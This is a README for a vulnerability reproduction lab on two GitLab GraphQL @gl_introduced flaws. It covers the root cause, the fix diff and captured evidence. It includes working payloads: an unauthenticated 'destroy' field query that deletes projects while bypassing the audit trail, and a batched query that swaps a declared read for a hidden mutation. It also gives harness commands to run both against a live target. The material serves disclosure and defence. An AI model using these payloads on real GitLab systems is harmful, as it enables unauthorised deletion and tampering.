
Provides PoC exploits and root-cause analysis for two GitLab GraphQL `@gl_introduced` directive vulnerabilities: unauthenticated method execution and batched document swap, with upstream patch and live evidence.
@gl_introduced version-filter vulnerabilitiesA reproduction lab for two related bugs in GitLab's GraphQL version-filter
feature (the @gl_introduced directive). Both live in the same feature area,
are fixed by the same upstream patch, and both let a GraphQL request reach
code paths it never declared:
destroy) on the model behind any GraphQL type, just by naming a field
that doesn't exist and tagging it @gl_introduced.| Affected | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Fixed | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Lab target | gitlab/gitlab-ce:19.2.2-ce.0 (last build before the fix) |
| Trigger | GraphQL @gl_introduced directive, alone or inside a batch |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Everything under src/ is verbatim upstream source, never reimplemented — the
loader overlays src/vuln or src/patched on top of src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback lets a query reference a
field that doesn't exist on a type yet without the request failing — meant
for rolling deploys, where an old node's schema doesn't yet have a field a
newer node already ships. Its get_field override checks whether the
requested field is missing and the request is flagged
contain_future_fields, and if so hands back a synthetic field instead of
raising:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
The problem: this GraphQL::Schema::Field is built with no resolver method,
no resolver class, no block. graphql-ruby's own default field resolution
then applies (graphql gem 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym is the field's name, underscored — i.e. exactly the string the
attacker put in the query. If the object behind the GraphQL type (the
ActiveRecord model) happens to have a real, zero-argument public method with
that name, graphql-ruby calls it and returns its (type-coerced) result.
fallback_value: nil only applies when the method genuinely doesn't exist —
it does nothing to stop a real one from running.
So: query any type for a field named after a real destructive method —
destroy, for instance — tag it @gl_introduced so it survives to
execution, and the method runs.
IntroducedTracer implements the rest of the version-filter feature across
two graphql-ruby trace hooks — parse (once per operation) and
execute_query (once per operation). In the vulnerable build it stashes its
per-operation state in plain instance variables on the trace object:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
The problem: graphql-ruby shares ONE trace instance across every operation in a multiplexed request, and parses them all before executing any of them. So in a two-operation batch:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 carries a @gl_introduced future field)After parsing, only the last operation's state survives. Then execution runs:
execute_query(op1) → flag is true, so op1's document is overwritten with
op2_doc and re-prepared → op1's slot runs op2's operation.op1 declared a read; it executes op2's write.
patch-19.2.2-to-19.2.4.diff closes both:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
No Authorization header. One operation, no batch. destroy is not a real
field on Project — it doesn't exist in the schema at all — but the
directive makes FutureFieldFilter strip it before static validation and
arms contain_future_fields for execution, where get_field hands back a
resolver-less field named destroy and graphql-ruby calls
project.public_send(:destroy).
Verified live (evidence/live_vuln_fallback_field.txt, reproduced three
times against three separate disposable projects): sent against a public
project, the response was {"data":{"project":{"id":"...","destroy":true}}}.
A follow-up authenticated REST check (GET /api/v4/projects/:id) returned
404 — the project was actually gone. The request log for that call shows 9
synchronous database writes and zero new AuditEvent rows: the call bypasses
Projects::DestroyService entirely (and with it the audit trail, webhooks,
and notifications) — it is a raw ActiveRecord#destroy cascade invoked
directly through GraphQL's default field resolution.
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
Op2 payload — the @gl_introduced directive only has to sit on a
real field so that, at parse time, FutureFieldFilter flips
contain_future_fields and arms the swap:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
Verified live (evidence/live_vuln.txt): slot 1, which declared
query { currentUser { username } }, returns {"data":{"starProject":{"count":"0"}}}
and the project's star count moves 1 → 0.
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
bash harness/live_test_fallback.sh
The script creates a disposable public project via the authenticated REST
API (setup only), sends one unauthenticated GraphQL query naming a
destroy field tagged @gl_introduced, then re-checks the project via
authenticated REST. It declares VULNERABLE if the project is gone.
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
The script reads the baseline star state, sends the two-operation batch, and
declares VULNERABLE if the read-declared slot 1 returns a starProject
payload (and/or the star count changes).
Isolates Gitlab::Graphql::VersionFilter in a tiny graphql-ruby app so the
swap is visible with zero GitLab noise. Loads the real upstream source.
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
Both vectors are confirmed live against gitlab/gitlab-ce:19.2.2-ce.0. They
carry different authorization exposure because they hit different layers of
GitLab's stack.
No token, no batching, one query. The response returns the method's result
directly ("destroy": true), and the underlying record is actually
destroyed — confirmed via authenticated REST (404) and via server-side
evidence (zero AuditEvent rows, 9 synchronous writes in one request),
meaning it bypasses GitLab's normal deletion service entirely. Reproduced
three times independently, against three separate disposable projects. Any
GraphQL type whose backing object exposes a real zero-argument destructive
method is a candidate.
With any token that has api scope, an operation that declared a read
executes a write it never asked for (star count 1 → 0, driven by a
query-typed slot). Sent tokenless, the swap still fires — the read
slot does reach and resolve starProject — but every GitLab mutation
inherits Mutations::BaseMutation, whose self.authorized? gate runs at
execution time:
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
For an anonymous request current_user is nil, and GlobalPolicy does
rule { anonymous }.policy { prevent :execute_graphql_mutation }. A sweep of
10 batch arrangements (order, directive on field / subfield / inline
fragment, 2- and 3-operation batches) unauthenticated: the hijacked slot hits
the gate every time and the star count never moves.
This gate is specific to mutations — it has no bearing on 1a, which
never touches Mutations::BaseMutation at all; the fallback field resolves
directly against the model as a plain query-type field, with no
authorization check in the path at all.
src/common/demo_app.rb has no authorization layer at all — its
mutation just writes. So PoC #3 demonstrates the swap mechanism (a read
slot performing a write) in an auth-free sandbox. Real GitLab enforces the
execute_graphql_mutation gate that the demo omits — for 1b specifically. On
this stock build, a no-credentials mutation-driven write is not reachable via
1b alone; it is reachable via 1a, which needs no mutation at all.
Upgrade to 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 or later. The fix (see the
diff) does two things: future_field_fallback.rb gives the fallback field an
explicit resolver (Resolvers::NilResolver, which always returns nil)
instead of relying on graphql-ruby's default method dispatch, closing 1a;
introduced_tracer.rb scopes the tracer's per-operation state to each
operation's own document instead of a shared instance variable, closing 1b.